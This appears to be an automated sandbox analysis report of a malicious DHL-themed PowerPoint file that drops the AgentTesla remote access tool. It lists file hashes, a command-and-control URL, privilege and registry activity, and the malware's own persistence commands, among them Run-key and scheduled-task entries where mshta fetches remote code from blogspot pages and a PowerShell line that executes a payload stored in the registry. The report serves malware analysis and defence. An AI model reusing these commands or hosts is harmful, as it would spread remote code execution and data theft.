Analysis
-
max time kernel
121s -
max time network
128s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
04-12-2020 15:10
Static task
static1
Behavioral task
behavioral1
Sample
DHL-3-12-20.ppt
Resource
win7v20201028
Behavioral task
behavioral2
Sample
DHL-3-12-20.ppt
Resource
win10v20201028
General
-
Target
DHL-3-12-20.ppt
-
Size
308KB
-
MD5
e1545289a3051a400be31e9e485b7a96
-
SHA1
060222f611579360d83699f58c2b16c202ce0440
-
SHA256
4032b7730b04a326f49c57f9b140b94332f87d5d0bf4c33ebfaee973527f822d
-
SHA512
c37d2d296b52e12e28265406b9b6b7f5944b2bae473f5bd6ede18a5ccff3dc024fa0ea5dfd026e4d3931883cf252c2dd4d67a5bbde1e41b822aa5177974f788e
Malware Config
Extracted
agenttesla
http://69.174.99.26/webpanel-ice/inc/a297721577bf46.php
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exepowershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 1920 2044 mshta.exe POWERPNT.EXE Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1720 1512 powershell.exe -
AgentTesla Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/1720-18-0x000000001C230000-0x000000001C266000-memory.dmp family_agenttesla -
Blocklisted process makes network request 12 IoCs
Processes:
mshta.exepowershell.exeflow pid process 6 1920 mshta.exe 8 1920 mshta.exe 10 1920 mshta.exe 12 1920 mshta.exe 13 1920 mshta.exe 15 1920 mshta.exe 17 1920 mshta.exe 18 1920 mshta.exe 23 1720 powershell.exe 24 1720 powershell.exe 27 1720 powershell.exe 28 1720 powershell.exe -
Drops file in Drivers directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts powershell.exe -
Adds Run key to start application 2 TTPs 6 IoCs
Processes:
mshta.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\bukun = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta https://ghostbackbone123.blogspot.com/p/ghostback111.html\"\", 0 : window.close\")" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\Defeduckgotfucked = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).phuttalylo)|IEX\"\", 0 : window.close\")" mshta.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\sexformoneyforsex = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).juggga)|IEX\"\", 0 : window.close\")" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\checkmatebaby = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta https://backbones1234511a.blogspot.com/p/icenew1.html\"\", 0 : window.close\")" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta https://startthepartyup.blogspot.com/p/backbone12.html\"\", 0 : window.close\")" mshta.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Processes:
POWERPNT.EXEmshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" POWERPNT.EXE -
Modifies registry class 64 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A74-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\ = "Player" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493450-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C7-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D8-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DF-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "LeaderLines" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E55A-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493459-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493480-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C8-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934ED-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6F-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "LegendEntries" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493462-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493487-5A91-11CF-8700-00AA0060263B}\ = "ShapeNode" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493488-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C4-5A91-11CF-8700-00AA0060263B}\ = "Columns" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F0-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493492-5A91-11CF-8700-00AA0060263B}\ = "RulerLevel" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C0-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E6-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5D-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartGroup" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E557-4FF5-48F4-8215-5505F990966F}\ = "Coauthoring" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E55A-4FF5-48F4-8215-5505F990966F}\ = "ProtectedViewWindow" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493498-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CB-5A91-11CF-8700-00AA0060263B}\ = "Panes" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D0-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348A-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}\ = "WebOptions" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F3-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A73-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493442-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CA-5A91-11CF-8700-00AA0060263B}\ = "Borders" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346B-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CC-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A65-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "DownBars" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349C-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A70-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7A-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347E-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DB-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EB-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CD-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D0-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DC-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EA-5A91-11CF-8700-00AA0060263B}\ = "AnimationPoints" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A76-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 2044 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepid process 1720 powershell.exe 1720 powershell.exe 1720 powershell.exe 1720 powershell.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1720 powershell.exe Token: SeIncreaseQuotaPrivilege 1720 powershell.exe Token: SeSecurityPrivilege 1720 powershell.exe Token: SeTakeOwnershipPrivilege 1720 powershell.exe Token: SeLoadDriverPrivilege 1720 powershell.exe Token: SeSystemProfilePrivilege 1720 powershell.exe Token: SeSystemtimePrivilege 1720 powershell.exe Token: SeProfSingleProcessPrivilege 1720 powershell.exe Token: SeIncBasePriorityPrivilege 1720 powershell.exe Token: SeCreatePagefilePrivilege 1720 powershell.exe Token: SeBackupPrivilege 1720 powershell.exe Token: SeRestorePrivilege 1720 powershell.exe Token: SeShutdownPrivilege 1720 powershell.exe Token: SeDebugPrivilege 1720 powershell.exe Token: SeSystemEnvironmentPrivilege 1720 powershell.exe Token: SeRemoteShutdownPrivilege 1720 powershell.exe Token: SeUndockPrivilege 1720 powershell.exe Token: SeManageVolumePrivilege 1720 powershell.exe Token: 33 1720 powershell.exe Token: 34 1720 powershell.exe Token: 35 1720 powershell.exe Token: SeIncreaseQuotaPrivilege 1720 powershell.exe Token: SeSecurityPrivilege 1720 powershell.exe Token: SeTakeOwnershipPrivilege 1720 powershell.exe Token: SeLoadDriverPrivilege 1720 powershell.exe Token: SeSystemProfilePrivilege 1720 powershell.exe Token: SeSystemtimePrivilege 1720 powershell.exe Token: SeProfSingleProcessPrivilege 1720 powershell.exe Token: SeIncBasePriorityPrivilege 1720 powershell.exe Token: SeCreatePagefilePrivilege 1720 powershell.exe Token: SeBackupPrivilege 1720 powershell.exe Token: SeRestorePrivilege 1720 powershell.exe Token: SeShutdownPrivilege 1720 powershell.exe Token: SeDebugPrivilege 1720 powershell.exe Token: SeSystemEnvironmentPrivilege 1720 powershell.exe Token: SeRemoteShutdownPrivilege 1720 powershell.exe Token: SeUndockPrivilege 1720 powershell.exe Token: SeManageVolumePrivilege 1720 powershell.exe Token: 33 1720 powershell.exe Token: 34 1720 powershell.exe Token: 35 1720 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
POWERPNT.EXEmshta.exedescription pid process target process PID 2044 wrote to memory of 1188 2044 POWERPNT.EXE splwow64.exe PID 2044 wrote to memory of 1188 2044 POWERPNT.EXE splwow64.exe PID 2044 wrote to memory of 1188 2044 POWERPNT.EXE splwow64.exe PID 2044 wrote to memory of 1188 2044 POWERPNT.EXE splwow64.exe PID 2044 wrote to memory of 1920 2044 POWERPNT.EXE mshta.exe PID 2044 wrote to memory of 1920 2044 POWERPNT.EXE mshta.exe PID 2044 wrote to memory of 1920 2044 POWERPNT.EXE mshta.exe PID 2044 wrote to memory of 1920 2044 POWERPNT.EXE mshta.exe PID 1920 wrote to memory of 764 1920 mshta.exe schtasks.exe PID 1920 wrote to memory of 764 1920 mshta.exe schtasks.exe PID 1920 wrote to memory of 764 1920 mshta.exe schtasks.exe PID 1920 wrote to memory of 764 1920 mshta.exe schtasks.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\DHL-3-12-20.ppt"1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\SysWOW64\mshta.exemshta http://1230948%1230948@j.mp/wasajsidjasdasdkoocs2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""lunkicharkhi"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta https://madarjaaatresearchers.blogspot.com/p/icenew1.html""\"", 0 : window.close"\")3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ((gp HKCU:\Software).juggga)|IEX1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/764-8-0x0000000000000000-mapping.dmp
-
memory/844-6-0x000007FEF6510000-0x000007FEF678A000-memory.dmpFilesize
2.5MB
-
memory/1188-2-0x0000000000000000-mapping.dmp
-
memory/1720-14-0x0000000002500000-0x0000000002501000-memory.dmpFilesize
4KB
-
memory/1720-15-0x0000000002460000-0x0000000002461000-memory.dmpFilesize
4KB
-
memory/1720-18-0x000000001C230000-0x000000001C266000-memory.dmpFilesize
216KB
-
memory/1720-17-0x000000001B6D0000-0x000000001B6D1000-memory.dmpFilesize
4KB
-
memory/1720-16-0x000000001B640000-0x000000001B641000-memory.dmpFilesize
4KB
-
memory/1720-13-0x000000001AB30000-0x000000001AB31000-memory.dmpFilesize
4KB
-
memory/1720-9-0x000007FEF5150000-0x000007FEF5B3C000-memory.dmpFilesize
9.9MB
-
memory/1720-12-0x00000000026C0000-0x00000000026C1000-memory.dmpFilesize
4KB
-
memory/1920-11-0x0000000007870000-0x0000000007886000-memory.dmpFilesize
88KB
-
memory/1920-5-0x0000000000000000-mapping.dmp
-
memory/1920-10-0x0000000006AE0000-0x0000000006B03000-memory.dmpFilesize
140KB
-
memory/2044-3-0x00000000005F0000-0x00000000005F1000-memory.dmpFilesize
4KB
-
memory/2044-4-0x00000000005F0000-0x00000000005F1000-memory.dmpFilesize
4KB
-
memory/2044-7-0x0000000004F00000-0x0000000004F04000-memory.dmpFilesize
16KB